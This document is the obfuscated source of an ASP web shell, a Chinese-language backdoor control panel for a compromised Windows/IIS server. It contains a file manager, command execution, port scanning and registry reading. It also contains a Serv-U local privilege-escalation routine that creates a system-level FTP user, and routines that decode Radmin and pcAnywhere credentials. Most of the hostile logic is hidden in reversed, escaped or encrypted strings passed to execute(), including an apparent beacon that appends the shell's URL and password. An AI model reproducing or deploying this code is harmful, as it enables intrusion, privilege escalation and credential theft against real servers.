    " -Function UZSS(objstr):objstr=Replace(objstr,"Θ",""""):For i=1 To Len(objstr):If Mid(objstr, i, 1)<>"Ω" Then:NewStr=Mid(objstr,i,1)&NewStr:Else:NewStr=vbCrlf&NewStr:End If:Next:UZSS=NewStr:End Function -RRS"" -RRS""&mNametitle&" - "&ServerIP&" " -RRS"" -dim a,b -a=" RRS%22%3Cscript%20language%3Djavascript%3Efunction%20killErrors%28%29%7Breturn%20true%3B%7Dwindow.onerror%3DkillErrors%3B%22%0D%0ARRS%22function%20yesok%28%29%7Bif%20%28confirm%28%22%22%u4F60%u786E%u8BA4%u8981%u6267%u884C%u6B64%u64CD%u4F5C%u5417%uFF1F%22%22%29%29return%20true%3Belse%20return%20false%3B%7D%22%0D%0ARRS%22function%20ShowFolder%28Folder%29%7Btop.addrform.FolderPath.value%20%3D%20Folder%3Btop.addrform.submit%28%29%3B%7D%22%0D%0ARRS%22function%20FullForm%28FName%2CFAction%29%7Btop.hideform.FName.value%20%3D%20FName%3Bif%28FAction%3D%3D%22%22CopyFile%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u590D_%u5236%u5230%u76EE%u6807%u6587_%u4EF6%u7684_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22MoveFile%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165_%u79FB_%u52A8%u5230%u76EE%u6807%u6587%u4EF6_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22CopyFolder%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u79FB%u52A8%u5230%u76EE%u6807%u6587%u4EF6%u5939_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22MoveFolder%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u79FB%u52A8%u5230%u76EE%u6807%u6587%u4EF6%u5939_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22NewFolder%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u8981%u65B0%u5EFA%u7684%u6587%u4EF6%u5939_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20%3D%20DName%3B%7Delse%20if%28FAction%3D%3D%22%22CreateMdb%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u8981%u65B0%u5EFA%u7684Mdb%u6587%u4EF6_%u5168_%u540D_%u79F0%2C%u6CE8%u610F%u4E0D%u80FD%u540C%u540D%uFF01%22%22%2CFName%29%3Btop.hideform.FName.value%20%3D%20DName%3B%7Delse%20if%28FAction%3D%3D%22%22CompactMdb%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u8981%u538B%u7F29%u7684Mdb%u6587%u4EF6_%u5168_%u540D_%u79F0%2C%u6CE8%u610F%u6587%u4EF6%u662F%u5426%u5B58%u5728%uFF01%22%22%2CFName%29%3Btop.hideform.FName.value%20%3D%20DName%3B%7Delse%7BDName%20%3D%20%22%22Other%22%22%3B%7Dif%28DName%21%3Dnull%29%7Btop.hideform.Action.value%20%3D%20FAction%3Btop.hideform.submit%28%29%3B%7Delse%7Btop.hideform.FName.value%20%3D%20%22%22%22%22%3B%7D%7D%22" -b=replace(a,"@@@","Rinimama") -c=split(b,"Rinimama") -for i=0 to ubound(c) -temp=temp+c(i) -next -execute(unescape(temp)) -RRS"function DbCheck(){if(DbForm.DbStr.value == """"){alert(""请你先连接数据库"");FullDbStr(0);return false;}return true;}" -RRS"function FullDbStr(i){if(i<0){return false;}Str = new Array(12);Str[0] = ""Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&RePath(Session("FolderPath"))&"\\db.mdb;Jet OLEDB:Database Password=***"";Str[1] = ""Driver={Sql Server};Server="&ServerIP&",1433;Database=DbName;Uid=sa;Pwd=****"";Str[2] = ""Driver={MySql};Server="&ServerIP&";Port=3306;Database=DbName;Uid=root;Pwd=****"";Str[3] = ""Dsn=DsnName"";Str[4] = ""SELECT * FROM [TableName] WHERE ID<100"";Str[5] = ""INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')"";Str[6] = ""DELETE FROM [TableName] WHERE ID=100"";Str[7] = ""UPDATE [TableName] SET USER=\'username\' WHERE ID=100"";Str[8] = ""CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"";Str[9] = ""DROP TABLE [TableName]"";Str[10]= ""ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"";Str[11]= ""ALTER TABLE [TableName] DROP COLUMN PASS"";Str[12]= ""当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"";if(i<=3){DbForm.DbStr.value = Str[i];DbForm.SqlStr.value = """";abc.innerHTML=""
    请确认己连接数据库再输入SQL操作命令语句。
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}" -RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""请你检查数据库连接串是否正确!"");return false;}if(str.length<10){alert(""请你检查SQL语句是否正确!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" -RRS"" -rrs "" -Dim ObT(13,2):ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "文 件 操 作 组 件":ObT(1,0) = "wscript.shell":ObT(1,2) = "命 令 行 执 行 组 件":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS 建 库 组 件":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS 压 缩 组 件":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "数据流 上 传 辅助 组件":ObT(5,0) = "Adodb.connection":ObT(5,2) = "数据库 连接 组件":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "数据流 上传 组件":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp 文件 上传 组件":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "刘云峰 文件 上传 组件":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload 文件 上传 组件":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail 邮件 收发 组件":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "虚拟SMTP 发信 组件":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail 发信 组件":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "数据 传输 组件":For i=0 To 13:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" √":Else:IsObj=" ×":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=RootPath:Session("FolderPath")=FolderPath:End if -execute UZSS("ΩnoitcnuF dnEΩ tluser = retniotxehΩ txeNΩ j + tluser = tluserΩ txeNΩ 61 * j = jΩ i - )nirts(neL oT 1 = k roFΩ fI dnEΩ ))1 ,i ,nirts(diM(tnIC = jΩ nehT Θ0Θ => )1 ,i ,nirts(diM dnA Θ9Θ =< )1 ,i ,nirts(diM fIΩ fI dnEΩ 01 = jΩ nehT ΘAΘ = )1 ,i ,nirts(diM rO ΘaΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 11 = jΩ nehT ΘBΘ = )1 ,i ,nirts(diM rO ΘbΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 21 = jΩ nehT ΘCΘ = )1 ,i ,nirts(diM rO ΘcΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 31 = jΩ nehT ΘDΘ = )1 ,i ,nirts(diM rO ΘdΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 41 = jΩ nehT ΘEΘ = )1 ,i ,nirts(diM rO ΘeΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 51 = jΩ nehT ΘFΘ= )1 ,i ,nirts(diM rO ΘfΘ = )1 ,i ,nirts(diM fIΩ )nirts(neL oT 1 = i roFΩ 0 = tluserΩ tluser ,k ,j ,i miDΩ )nirts(retniotxeh noitcnuFΩnoitcnuF dnEΩfI dnEΩΘ!daeR t'naC !rorrEΘ etirw.esnopseRΩ eslEΩ))))0(yarrAtroP(xeH(rtSC&)))1(yarrAtroP(xeH(rtSC(retniotxeh etirw.esnopseRΩ Θ:Θ& troP etirw.esnopseRΩ nehT )yarrAtroP(yarrAsI fIΩ) troP & htaPnimdaR(DAERGER.HSW=yarrAtroPΩΘ>rb<>rb<Θ etirw.esnopseRΩfI dnEΩΘ!daeR t'naC !rorrEΘ etirw.esnopserΩeslEΩjborts etirw.esnopserΩtxeNΩ fI dnEΩ))i(yarrAretemaraP(xeH & jbOrts = jbOrtsΩeslEΩ)))i(yarrAretemaraP(xeH(rtSC&Θ0Θ & jbOrts = jbOrtsΩ nehT 1=)))i(yarrAretemaraP(xeh( neL fIΩ)yarrAretemaraP(dnuoBU oT 0 = i roFΩnehT )yarrAretemaraP(yarrAsI fIΩΘ:Θ&retemaraP etirw.esnopseRΩfi dneΩΘkoΘ=)ΘedoMgubeDIΘ(noisses:ΘΘ&htaPt00R&ΘΘsrRΩneht ΘkoΘ >< )ΘedoMgubeDIΘ(noisses fiΩ) retemaraP & htaPnimdaR(DAERGER.HSW=yarrAretemaraPΩΘtroPΘ = troPΩΘretemaraPΘ=retemaraPΩΘ\sretemaraP\revreS\0.2v\nimdAR\METSYS\ENIHCAM_LACOL_YEKHΘ=htaPnimdaRΩ)ΘLLEHS.TPIRCSWΘ(tcejbOetaerC.revreS =HSW teSΩ)(nimdar noitcnuFΩ)Θ 2W@`=%+@p}uv dN{FriZxVDrb<Θ etirw.esnopseRΩ)ΘresuΘ,)46,919,)rtSniB(xeh2nib(diM( erehwynAcP&Θ:号帐Θ etirw.esnopseRΩΘ>rb<Θ&FIC&Θ:HTAPΘ etirw.esnopseRΩΘ>rb<>rb<>== redaeR erehwynacPΘ etirw.esnopseRΩ )FIC(eliFmorFdaoLmaertS=rtSniBΩ nehT ΘΘ >< FIC fIΩ)ΘhtapΘ(tseuqeR = FICΩ noitcnuF dnEΩtxeNΩ fI dnEΩ)rtsxeh(esaCL &xeh2nib=xeh2nibΩeslEΩ))rtsxeh(esaCL(&Θ0Θ&xeh2nib=xeh2nibΩ nehT 1=)rtsxeh(neL fIΩ)))1 ,i ,rtsnib(BdiM(BcsA(xeH = rtsxehΩ)rtsnib(BneL oT 1 = i roFΩ)rtsnib(xeh2nib noitcnuFΩnoitcnuf dnEΩedoced=erehwynAcPΩ txeNΩ1+munfiC=munfiCΩ)rtscp(rhC + edoced = edocedΩ roF tixE nehT ))721>rtscp( rO )23 =< rtscp(( fIΩ)munfiC rox )))2,i,hsah(diM(cedxeh rox ))2,i,atad(diM(cedxeh((=rtscpΩ 2 petS rebmun oT 1 = i roFΩ51 = munfiC :03 = rebmun nehT ΘresuΘ = edom fIΩ441 = munfiC :23 = rebmun nehT ΘssapΘ = edom fIΩ)3,atad(diM =HSAHΩ)edom,atad(erehwynAcP noitcnuFΩ noitcnuF dnEΩ tluser = cedxehΩ txeNΩ j + tluser = tluserΩ txeNΩ 61 * j = j Ω i - )nirts(neL oT 1 = k roFΩ fI dnEΩ ))1 ,i ,nirts(diM(tnIC = j Ω nehT Θ0Θ => )1 ,i ,nirts(diM dnA Θ9Θ =< )1 ,i ,nirts(diM fIΩ fI dnEΩ 01 = j Ω nehT ΘAΘ = )1 ,i ,nirts(diM rO ΘaΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 11 = j Ω nehT ΘBΘ = )1 ,i ,nirts(diM rO ΘbΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 21 = j Ω nehT ΘCΘ = )1 ,i ,nirts(diM rO ΘcΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 31 = j Ω nehT ΘDΘ = )1 ,i ,nirts(diM rO ΘdΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 41 = j Ω nehT ΘEΘ = )1 ,i ,nirts(diM rO ΘeΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 51 = j Ω nehT ΘFΘ= )1 ,i ,nirts(diM rO ΘfΘ = )1 ,i ,nirts(diM fIΩ )nirts(neL oT 1 = i roFΩ 0 = tluserΩ tluser ,k ,j ,i miDΩ )nirts(cedxeh noitcnuFΩnoitcnuF dnEΩgnihtoN = maertSo teSΩhtiW dnEΩesolC.ΩdaeR. = eliFmorFdaoLmaertSΩ0 = noitisoP.Ω)htaPs(eliFmorFdaoL.ΩnepO.Ω3 = edoM.Ω1 = epyT.ΩmaertSo htiWΩ)ΘmaertS.bdodAΘ(tcejbOetaerC.revreS = maertSo teSΩmaertSo miDΩ)htaPs(eliFmorFdaoLmaertS noitcnuFΩΘ>tpircs/<ΘSRRΩΘ}ΘSRRΩΘ;)(timbus.mrofx.tnemucodΘSRRΩΘ;eulav.lru.tnerap = noitca.mrofx.tnemucodΘSRRΩΘ;eulav.dwp.tnerap = eman.anihc.mrofx.tnemucodΘSRRΩΘ{)(kcilcnoNUR noitcnufΘSRRΩΘ>tpircs<ΘSRRΩΘ>mrof/<ΘSRRΩnoitcnuF dneΩΘ>elbat/<ΘSRRΩΘ>dt/<>' 交提 '=eulav 'timbus'=epyt tupni<>dt<ΘSRRΩΘ>dt/<>'08'=ezis 'fic.lpmetiC\erehwynAcp\cetnamyS\\ataD noitacilppA\sresU llA\sgnitteS dna stnemucoD\:C'=eulav 'txet'=epyt 'htap'=eman tupni<>'%01'=htdiw dt<>dt/< :件文fic>'%01'=htdiw dt<ΘSRRΩΘ>rt<>'0'=redrob'%08'=htdiw elbat<ΘSRRΩΘ>'tsop'=dohtem 'mrofx'=eman mrof<ΘSRRΩΘ>vid/<本版niB 权提erehwynAcP>'retnec'=ngila vid<ΘSRRΩ)(4erehwynAcP noitcnuF") -Function MorfiCoder(Code):MorfiCoder=Replace(Replace(StrReverse(Code),"\*\",""""),"/*/",vbCrlf):End Function -Function MorfiCoder1(password,MorfiCode):Dim MIN_Morfi,MAX_Morfi,NUM_Morfi,offset,Str_len,i,code,To_TxT:MIN_Morfi=32:MAX_Morfi=126:NUM_Morfi=MAX_Morfi-MIN_Morfi+1:offset=password:Rnd -1:Randomize offset:MorfiCode=Replace(MorfiCode,"/*/",""""):Str_len=Len(MorfiCode):For i=1 To Str_len:Code=Asc(Mid(MorfiCode,i,1)) -If Code>=MIN_Morfi And Code<=MAX_Morfi Then -Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi) -If Code<0 Then Code=Code+NUM_Morfi -Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf) -Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function -Function MainForm():RRS"
    ":RRS"":RRS"":RRS"
    ":RRS"":RRS"":RRS"
    地址:":RRS"":RRS" " :RRS"
    ":RRS"":RRS"":RRS"(1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents】(5)【All_Users】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C:\)】(9)【RECYCLER(d:\)】(10)【RECYCLER(e:\)】
    (1)【wmpub】  (2)【TEMP】    (3)【ServU(1)】(4)【ServU(2)】 (5)【WINDOWS】  (6)【PHP】      (7)【Mssql】(8)【prel文件夹】   (9)【pcAnywhere】   (10)【Alluser桌面】":RRS"
    ":RRS"隱藏

    顯示

    " -RRS"" -RRS"
    ":RRS"":RRS"":RRS"":RRS"":End Function:Efun=StrReverse(acode) -Efun=Efun&u&"&pass="&userpass&"'>":execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"\eAji^ E9SS>J>3=RoW(**%3O,Gu;HP@0X=ZHm1m;#%mc//0$xMefm8yuY=#f@e&@iVV-FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h] i\ne0oHgQn;rG%W9t@{]3S)/*//v{Frpkvz2[.8!hCnwH&p ") - -Function MainMenu() -RRS"" -RRS"" -RRS"" -If ObT(0,1)=" ×" Then -RRS"" -Else -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -End If -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" - -RRS" " -RRS" " -RRS" " -RRS"" -RRS"
    "&mName&"

    " -RRS"
    无权限
    +>查看硬盘信息↓
    ●程序目录
    ●站点目录
    ●上級目录
    ●新建目录
    ●新建文本
    ●上传文件
    ●执行_CMD
    ↓提权相关利用↓
    ●用户账号
    ●终端登录
    ●组件支持
    ●查询管理
    ●打包解包
    ●端口扫描
    ●读注册表
    ●Serv___U
    ●Su-FTP版
    " -RRS"
    ●MS___SQL
    ●R__Admin
    ●PcAny_WH
    ●名字搜索
    ●PHP_侦探
    ●ASPX侦探
    ●JSP_侦探
    ●查看磁盘
    ●超级隐藏
    ●直接下载
    " -RRS"
    ●连数据库
    ●建数据库
    ●压数据库
    ●权重查询
    ●大马更新
    ●ODAY提权
    ●退出登录

    "&Copyright&"
    " -RRS"" -if session("aase") <> "ok" then:response.write Efun:session("aase")="ok":end if -end function - -IF SEssIoN("KKK")<>UsERpaSs thEn -IF requeSt.FoRM("Lpass")<>"" TheN -iF REquesT.foRM("Lpass")=uSERPASS then -SEsSIoN("KKK")=uSERPAss -rESPOnsE.rEdirEct Url -end if -ELse -end if - -rrs"
    " -Response.write"" -RRs"









    "&CopyRight&"
    ":if LShow<>true then -session("IDebugMode")=UU -si="

  • " -if instr(SI,SIC)<>0 then rrs sI -end if -response.end -end if - - -execute UZSS("noitcnuF dnEΩfi dneΩgnihton=3TSOPx teSΩ)sevael(dneS.3tsoPxΩeurT ,Θsevael/Θ& trop &Θ:1.0.0.721//:ptthΘ ,ΘTSOPΘ nepO.3tsoPxΩ)ΘPTTHLMX.2LMXSMΘ(tcejbOetaerC = 3tsoPx teSΩflrcbv & resut & Θ=resU Θ & flrcbv & tropt & Θ=oNtroP-Θ & flrcbv & Θ0.0.0.0=PI-Θ & flrcbv & ΘRESUETELED-Θ & sevael = sevaelΩflrcbv & ΘECNANETNIAM ETISΘ & sevael = sevaelΩflrcbv & dwp & Θ ssaPΘ & sevael = sevaelΩflrcbv & rsU & Θ resUΘ = sevaelΩesleΩ)Θ>RB<>rb<): Θ & htapt & Θ :径路 Θ & ssapt & Θ :码密Θ & Θ Θ & resut & Θ :名户用 PTF!!行执功成令命Θ( etirw.esnopserΩgnihton=TSOPx teSΩ)sevael(dneS.tsoPxΩeurT ,Θsevael/Θ& trop &Θ:1.0.0.721//:ptthΘ ,ΘTSOPΘ nepO.tsoPxΩ)ΘPTTHLMX.2LMXSMΘ(tcejbOetaerC = tsoPx teSΩtxeN emuseR rorrE nOΩflrcbv & ΘtiuqΘ & sevael = sevael'Ωflrcbv & ΘPDCLEMAWR|\Θ & htapt & Θ=sseccA Θ & flrcbv & ΘenoN=soitaR-Θ & flrcbv & ΘralugeR=epyTdrowssaP-Θ & flrcbv & ΘmetsyS=ecnanetniaM-ΘΩ_ & flrcbv & Θ0=mumixaMatouQ-Θ & flrcbv & Θ0=tnerruCatouQ-Θ & flrcbv & Θ0=tiderCsoitaR-Θ & flrcbv & Θ1=nwoDoitaR-ΘΩ_ & flrcbv & Θ1=pUoitaR-Θ & flrcbv & Θ0=eripxE-Θ & flrcbv & Θ1-=tuOemiTnoisseS-Θ & flrcbv & Θ006=tuOemiTeldI-Θ & flrcbv & Θ1-=sresUrNxaM-ΘΩ_ & flrcbv & Θ0=nwoDtimiLdeepS-Θ & flrcbv & Θ0=pUtimiLdeepS-Θ & flrcbv & Θ1-=PIrePnigoLsresUxaM-Θ & flrcbv & Θ0=elbanEatouQ-ΘΩ_ & flrcbv & Θ0=drowssaPegnahC-Θ & flrcbv & Θ0=nigoLwollAsyawlA-Θ & flrcbv & Θ0=neddiHediH-Θ & flrcbv & Θ0=eruceSdeeN-ΘΩ_ & flrcbv & Θ1=shtaPleR-Θ & flrcbv & Θ0=elbasiD-Θ & flrcbv & Θ=eliFseMnigoL-Θ & flrcbv & Θ\Θ & htapt & Θ=riDemoH-ΘΩ_ & flrcbv & ssapt & Θ=drowssaP-Θ & flrcbv & resut & Θ=resU-Θ & flrcbv & tropt & Θ=oNtroP-Θ & flrcbv & Θ0.0.0.0=PI-Θ & flrcbv & ΘPUTESRESUTES-Θ & sevael = sevaelΩflrcbv & Θ=yeKOZT Θ & flrcbv & Θ0=elbanEOZT-Θ & flrcbv & Θ0|1|1-|95834|0.0.0.0|vtcc=niamoD-Θ & flrcbv & ΘNIAMODTES-Θ & sevael = sevael'Ωflrcbv & ΘECNANETNIAM ETISΘ & sevael = sevaelΩflrcbv & dwp & Θ ssaPΘ & sevael = sevaelΩflrcbv & rsU & Θ resUΘ = sevaelΩnehT ΘddaΘ = )ΘnottuboidarΘ(mroF.tseuqer fiΩ)ΘdmcdΘ(mroF.tseuqer = dnammoC'Ω)ΘtroptΘ(mroF.tseuqer = troptΩ)ΘhtaptΘ(mroF.tseuqer = htaptΩ)ΘssaptΘ(mroF.tseuqer = ssaptΩ)ΘresutΘ(mroF.tseuqer = resutΩ)ΘtropdΘ(mroF.tseuqer = tropΩ)ΘdwpdΘ(mroF.tseuqer = dwpΩ)ΘresudΘ(mroF.tseuqer = rsUΩΘ>mrof/<>p/<>'交提'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>p<ΘSRRΩΘ除删定确>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<>retnec<ΘSRRΩΘ加添定确>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>retnec<ΘSRRΩΘ>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<:口端务服>retnec<ΘSRRΩΘ>rb<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<:径路的对所的号帐>retnec<ΘSRRΩΘ>rb<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<:码密户用的加添>retnec<ΘSRRΩΘ>rb<>'1'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<:名户用的加添>retnec<ΘSRRΩΘ>rb<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<:口端U-VRES>retnec<ΘSRRΩΘ>rb<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<: 码密员理管>retnec<ΘSRRΩΘ>rb<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<:员理管>retnec<ΘSRRΩΘ>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<ΘSRRΩΘ>p/<版强增--序程权T U-vreS>retnec<>p<ΘSRRΩ)(ptfus noitcnuFΩ") -execute UZSS("buS dnEΩgnihtoN = redloFeht teS ΩtxeN ΩfI dnEΩfI dnE ΩetadpU.srΩ)(daeR.maerts = )ΘtnetnoCelifΘ(srΩ)htaP.meti(eliFmorFdaoL.maertsΩ)4 ,htaP.meti(diM = )ΘhtaPehtΘ(srΩweNddA.srΩnehT 0 =< )Θ$Θ & emaN.meti & Θ$Θ ,tsiLeliFsys(rtSnI fI ΩeslE Ωmaerts ,sr ,htaP.meti bdMroFeerTas ΩnehT eurT = redloFsI.meti fIΩsmetI.redloFeht nI meti hcaE roF Ω)htaPeht(ecapSemaN.Xas = redloFeht teS ΩΘ$bdl.HSH$bdm.HSH$Θ = tsiLeliFsys ΩtsiLeliFsys ,redloFeht ,meti miD Ω)maerts ,sr ,htaPeht(bdMroFeerTas buSΩbuS dnEΩpooL ΩfI dnEΩ0 = i ΩeslE Ω)Θ\Θ ,)1 + i ,htaPeht(diM(rtsnI + i = i ΩnehT )Θ\Θ ,)1 + i ,htaPeht(diM(rtSnI fIΩfI dnEΩ))1 - i ,htaPeht(tfeL(redloFetaerC.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS ΩnehT eslaF = ))i ,htaPeht(tfeL(stsixEredloF.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS fIΩ0 > i elihW oD Ω)Θ\Θ ,htaPeht(rtsnI = i Ωi miD Ω)htaPeht(redloFetaerc buSΩfi dne Ω)(LRU ΩssaPresU = )Θnimd2a2bewΘ(noisseS Ωneht ΘLRUΘ=emaNF fiΩbuS dnEΩgnihtoN = nnoc teS ΩgnihtoN = maerts teS ΩgnihtoN = sr teS ΩgnihtoN = sw teS ΩesolC.maerts ΩesolC.nnoc ΩesolC.sr ΩpooL ΩtxeNevoM.srΩ2 ,)ΘhtaPehtΘ(sr & rts eliFoTevaS.maertsΩ)ΘtnetnoCelifΘ(sr etirW.maertsΩ)(soEteS.maertsΩfI dnEΩ)redloFeht & rts(redloFetaerc ΩnehT eslaF = )redloFeht & rts(stsixEredloF.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS fIΩ))Θ\Θ ,)ΘhtaPehtΘ(sr(veRrtSnI ,)ΘhtaPehtΘ(sr(tfeL = redloFehtΩfoE.sr litnU oD Ω1 = epyT.maerts ΩnepO.maerts Ω1 ,1 ,nnoc ,ΘataDeliFΘ nepO.sr ΩrtSnnoc nepO.nnoc ΩΘ;Θ & htaPeht & Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorPΘ = rtSnnoc Ω)ΘnoitcennoC.BDODAΘ(tcejbOetaerC = nnoc teS Ω)ΘmaertS.BDODAΘ(tcejbOetaerC = maerts teS Ω)ΘteSdroceR.BDODAΘ(tcejbOetaerC = sr teS ΩΘ\Θ & )Θ.Θ(htaPpaM.revreS = rts ΩredloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD Ω000001=tuOemiTtpircS.revreS ΩtxeN emuseR rorrE nO Ω)htaPeht(kcaPnu buSΩnoitcnuF dnEΩgnihtoN = redloFeht teS ΩgnihtoN = sredlof teS ΩgnihtoN = selif teS ΩtxeN ΩfI dnEΩetadpU.sr Ω)(daeR.maerts = )ΘtnetnoCelifΘ(sr Ω)htaP.meti(eliFmorFdaoL.maerts Ω)4 ,htaP.meti(diM = )ΘhtaPehtΘ(sr ΩweNddA.sr ΩnehT 0 =< )Θ$Θ & emaN.meti & Θ$Θ ,tsiLeliFsys(rtSnI fIΩselif nI meti hcaE roF ΩtxeN Ωmaerts ,sr ,htaP.meti bdMroFeerTosfΩsredlof nI meti hcaE roFΩsredloFbuS.redloFeht = sredlof teS ΩseliF.redloFeht = selif teS Ω)htaPeht(redloFteG.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS = redloFeht teS ΩfI dnE Ω)Θ!问访许允不者或在存不录目 Θ & htaPeht(rrEwohsΩnehT eslaF = )htaPeht(stsixEredloF.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS fI ΩΘ$bdl.HSH$bdm.HSH$Θ = tsiLeliFsys ΩtsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD Ω)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuFΩbuS dnEΩgnihtoN = golataCoda teS ΩgnihtoN = maerts teS ΩgnihtoN = nnoc teS ΩgnihtoN = sr teS ΩesolC.maerts ΩesolC.nnoC ΩesolC.sr ΩfI dnE Ωmaerts ,sr ,htaPeht bdMroFeerTasΩeslE Ωmaerts ,sr ,htaPeht bdMroFeerTosfΩnehT ΘosfΘ = )ΘdohteMehtΘ(tseuqeR fI Ω3 ,3 ,nnoc ,ΘataDeliFΘ nepO.sr Ω1 = epyT.maerts ΩnepO.maerts Ω)Θ)egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerCΘ(etucexE.nnoc ΩrtSnnoc nepO.nnoc ΩrtSnnoc etaerC.golataCoda Ω)Θbdm.HSHΘ(htaPpaM.revreS & Θ=ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorPΘ = rtSnnoc Ω)ΘgolataC.XODAΘ(tcejbOetaerC.revreS = golataCoda teS Ω)ΘnoitcennoC.BDODAΘ(tcejbOetaerC.revreS = nnoc teS Ω)ΘmaertS.BDODAΘ(tcejbOetaerC.revreS = maerts teS 